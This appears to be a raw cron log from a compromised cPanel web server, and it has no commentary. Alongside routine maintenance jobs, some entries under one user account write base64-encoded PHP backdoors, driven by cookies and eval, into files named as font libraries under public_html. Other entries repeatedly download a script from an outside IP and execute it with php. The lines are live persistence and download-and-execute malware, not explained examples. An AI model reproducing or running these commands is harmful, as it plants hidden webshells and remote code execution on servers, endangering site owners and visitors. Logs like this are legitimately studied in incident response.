Sep  6 00:05:01 ip-184-168-122-23 CROND[14457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:05:01 ip-184-168-122-23 CROND[14458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:05:01 ip-184-168-122-23 CROND[14460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:05:01 ip-184-168-122-23 CROND[14464]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 00:05:01 ip-184-168-122-23 CROND[14465]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 00:05:01 ip-184-168-122-23 CROND[14467]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 00:06:02 ip-184-168-122-23 CROND[14639]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:06:02 ip-184-168-122-23 CROND[14642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:06:02 ip-184-168-122-23 CROND[14640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:06:02 ip-184-168-122-23 CROND[14644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:06:02 ip-184-168-122-23 CROND[14641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:07:01 ip-184-168-122-23 CROND[14729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:07:01 ip-184-168-122-23 CROND[14731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:07:01 ip-184-168-122-23 CROND[14732]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:07:01 ip-184-168-122-23 CROND[14734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:08:01 ip-184-168-122-23 CROND[14824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:08:01 ip-184-168-122-23 CROND[14827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:08:01 ip-184-168-122-23 CROND[14828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:08:01 ip-184-168-122-23 CROND[14826]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:08:01 ip-184-168-122-23 CROND[14829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:09:01 ip-184-168-122-23 CROND[14915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:09:01 ip-184-168-122-23 CROND[14914]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:09:01 ip-184-168-122-23 CROND[14916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:09:01 ip-184-168-122-23 CROND[14917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:09:01 ip-184-168-122-23 CROND[14918]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 00:10:02 ip-184-168-122-23 CROND[15023]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 00:10:02 ip-184-168-122-23 CROND[15026]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 00:10:02 ip-184-168-122-23 CROND[15025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:10:02 ip-184-168-122-23 CROND[15031]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 00:10:02 ip-184-168-122-23 CROND[15027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:10:02 ip-184-168-122-23 CROND[15030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:10:02 ip-184-168-122-23 CROND[15028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:10:02 ip-184-168-122-23 CROND[15029]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:11:01 ip-184-168-122-23 CROND[15120]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:11:01 ip-184-168-122-23 CROND[15121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:11:01 ip-184-168-122-23 CROND[15122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:11:01 ip-184-168-122-23 CROND[15123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:12:01 ip-184-168-122-23 CROND[15286]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:12:01 ip-184-168-122-23 CROND[15289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:12:01 ip-184-168-122-23 CROND[15288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:12:01 ip-184-168-122-23 CROND[15290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:12:01 ip-184-168-122-23 CROND[15291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:13:01 ip-184-168-122-23 CROND[15389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:13:01 ip-184-168-122-23 CROND[15390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:13:01 ip-184-168-122-23 CROND[15392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:13:01 ip-184-168-122-23 CROND[15391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:14:01 ip-184-168-122-23 CROND[15466]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:14:01 ip-184-168-122-23 CROND[15467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:14:01 ip-184-168-122-23 CROND[15468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:14:01 ip-184-168-122-23 CROND[15470]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:14:01 ip-184-168-122-23 CROND[15469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:15:01 ip-184-168-122-23 CROND[15571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:15:01 ip-184-168-122-23 CROND[15573]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 00:15:01 ip-184-168-122-23 CROND[15575]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 00:15:01 ip-184-168-122-23 CROND[15578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:15:01 ip-184-168-122-23 CROND[15577]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  6 00:15:01 ip-184-168-122-23 CROND[15574]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  6 00:15:01 ip-184-168-122-23 CROND[15581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:15:01 ip-184-168-122-23 CROND[15579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:16:01 ip-184-168-122-23 CROND[15695]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:16:01 ip-184-168-122-23 CROND[15696]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:16:01 ip-184-168-122-23 CROND[15697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:16:01 ip-184-168-122-23 CROND[15700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:16:01 ip-184-168-122-23 CROND[15698]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 00:16:01 ip-184-168-122-23 CROND[15701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:17:01 ip-184-168-122-23 CROND[15784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:17:01 ip-184-168-122-23 CROND[15786]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
